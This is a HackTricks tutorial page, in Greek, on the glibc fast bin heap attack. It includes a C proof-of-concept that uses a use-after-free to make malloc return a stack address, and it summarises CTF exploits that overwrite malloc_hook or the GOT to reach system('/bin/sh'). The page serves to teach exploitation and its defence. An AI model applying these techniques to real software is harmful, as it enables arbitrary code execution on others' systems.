hacktricks/binary-exploitation/heap/fast-bin-attack.md

16 KiB
Raw Permalink Blame History

Γρήγορη Επίθεση Fast Bin

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Για περισσότερες πληροφορίες σχετικά με το τι είναι ένα γρήγορο bin ελέγξτε αυτήν τη σελίδα:

{% content-ref url="bins-and-memory-allocations.md" %} bins-and-memory-allocations.md {% endcontent-ref %}

Επειδή το γρήγορο bin είναι μονόδεσμο, υπάρχουν πολύ λιγότερες προστασίες σε σχέση με άλλα bins και απλά η τροποποίηση μιας διεύθυνσης σε ένα ελεύθερο fast bin τμήμα είναι αρκετή για να διατεθεί αργότερα ένα τμήμα σε οποιαδήποτε διεύθυνση μνήμης.

Ως περίληψη:

{% code overflow="wrap" %}

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

{% endcode %}

Μπορείτε να βρείτε ένα πλήρες παράδειγμα σε έναν πολύ καλά εξηγημένο κώδικα από https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

{% hint style="danger" %} Εάν είναι δυνατόν να αντικατασταθεί η τιμή της παγκόσμιας μεταβλητής global_max_fast με ένα μεγάλο αριθμό, αυτό επιτρέπει τη δημιουργία γρήγορων bins με μεγαλύτερα μεγέθη, πιθανώς επιτρέποντας την εκτέλεση επιθέσεων fast bin σε σενάρια όπου δεν ήταν δυνατόν προηγουμένως. {% endhint %}

Παραδείγματα

  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
  • Είναι δυνατόν να δεσμεύσετε τμήματα, να τα απελευθερώσετε, να διαβάσετε το περιεχόμενό τους και να τα γεμίσετε (με μια ευπάθεια υπερχείλισης).
  • Συγχώνευση τμήματος για διαρροή πληροφοριών: Η τεχνική βασικά είναι να καταχραστείτε την υπερχείλιση για να δημιουργήσετε ένα ψεύτικο prev_size ώστε ένα προηγούμενο τμήμα να τοποθετηθεί μέσα σε ένα μεγαλύτερο, έτσι ώστε όταν διατίθεται το μεγαλύτερο που περιέχει ένα άλλο τμήμα, είναι δυνατόν να εκτυπωθούν τα δεδομένα του και να διαρρεύσει μια διεύθυνση στο libc (main_arena+88).
  • Αντικατάσταση του malloc hook: Για αυτό, και καταχρηστικά της προηγούμενης κατάστασης επικάλυψης, ήταν δυνατόν να υπάρχουν 2 τμήματα που έδειχναν στην ίδια μνήμη. Συνεπώς, απελευθερώνοντάς τα και τα δύο (απελευθερώνοντας ένα άλλο τμήμα ανάμεσά τους για να αποφευχθούν προστασίες), ήταν δυνατόν να υπάρχει το ίδιο τμήμα στο fast bin 2 φορές. Στη συνέχεια, ήταν δυνατόν να το διατεθεί ξανά, να αντικατασταθεί η διεύθυνση προς το επόμενο τμήμα ώστε να δείχνει λίγο πριν το malloc_hook (έτσι ώστε να δείχνει σε έναν ακέραιο που το malloc νομίζει ότι είναι μέγεθος ελεύθερο - άλλη παράκαμψη), να το διατεθεί ξανά και στη συνέχεια να διατεθεί ένα άλλο τμήμα που θα λάβει μια διεύθυνση στα malloc hooks.
    Τελικά ένα one gadget γράφτηκε εκεί.
  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
  • Υπάρχει μια υπερχείλιση στη στοίβα και χρήστης μετά την απελευθέρωση και διπλή απελευθέρωση επειδή όταν ένα τμήμα απελευθερώνεται είναι δυνατόν να επαναχρησιμοποιηθούν και να απελευθερωθούν ξανά οι δείκτες
  • Διαρροή πληροφοριών Libc: Απλώς απελευθερώστε μερικά τμήματα και θα λάβουν ένα δείκτη σε ένα τμήμα της κύριας αρένας. Δεδομένου ότι μπορείτε να επαναχρησιμοποιήσετε απελευθερωμένους δείκτες, απλώς διαβάστε αυτήν τη διεύθυνση.
  • Επίθεση Fast bin: Όλοι οι δείκτες στις δεσμεύσεις αποθηκεύονται μέσα σε έναν πίνακα, οπότε μπορούμε να απελευθερώσουμε μερικά τμήματα fast bin και στο τελευταίο να αντικαταστήσουμε τη διεύθυνση ώστε να δείχνει λίγο πριν από αυτόν τον πίνακα δεικτών. Στη συνέχεια, να διατεθούν μερικά τμήματα με τον ίδιο μέγεθος και θα λάβουμε πρώτα το γνήσιο και στη συνέχεια το ψεύτικο που περιέχει τον πίνακα δεικτών. Τώρα μπορούμε να αντικαταστήσουμε αυτούς τους δείκτες δεσμεύσεων για να δείχνουν στη διεύθυνση got του free για να δείχνει στο σύστημα και στη συνέχεια να γράψουμε το τμήμα 1 "/bin/sh" για να free(chunk1) το οποίο θα εκτελέσει το system("/bin/sh").
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
  • Ένα άλλο παράδειγμα κατάχρησης μιας υπερχείλισης 1B για τη συγχώνευση τμημάτων στον τακτοποιημένο κάδο και τη λήψη μιας διαρροής πληροφοριών Libc και στη συνέχεια την εκτέλεση μιας επίθεσης fast bin για την αντικατάσταση του malloc hook με μια διεύθυνση one gadget
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
  • Μετά από μια διαρροή πληροφοριών κατάχρησης του τακτοποιημένου κάδου με ένα UAF για να διαρρεύσει μια διεύθυνση Libc και μια διεύθυνση PIE, η εκμετάλλευση αυτού του CTF χρησιμοποίησε μια επίθεση fast bin για να διατεθεί ένα τμήμα σε ένα μέρος όπου βρίσκονταν οι δείκτες σε ελεγχόμενα τμήματα, έτσι ήταν δυνατόν να αντικατασταθούν ορισμένοι δείκτες για να γραφτεί ένα one gadget στο GOT
  • Μπορείτε να βρείτε μια Fast Bin επίθεση που καταχράζεται μέσω μιας επίθεσης στον τακτοποιημένο κάδο:
  • Σημειώστε ότι είναι συνηθισμένο πριν εκτελέσετε επιθέσεις fast bin να καταχράστείτε τη λίστα των ανεπιθύμητων για να διαρρεύσετε διευθύνσεις libc/heap (όταν απαιτείται).

{% content-ref url="unsorted-bin-attack.md" %} unsorted-bin-attack.md {% endcontent-ref %}

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks: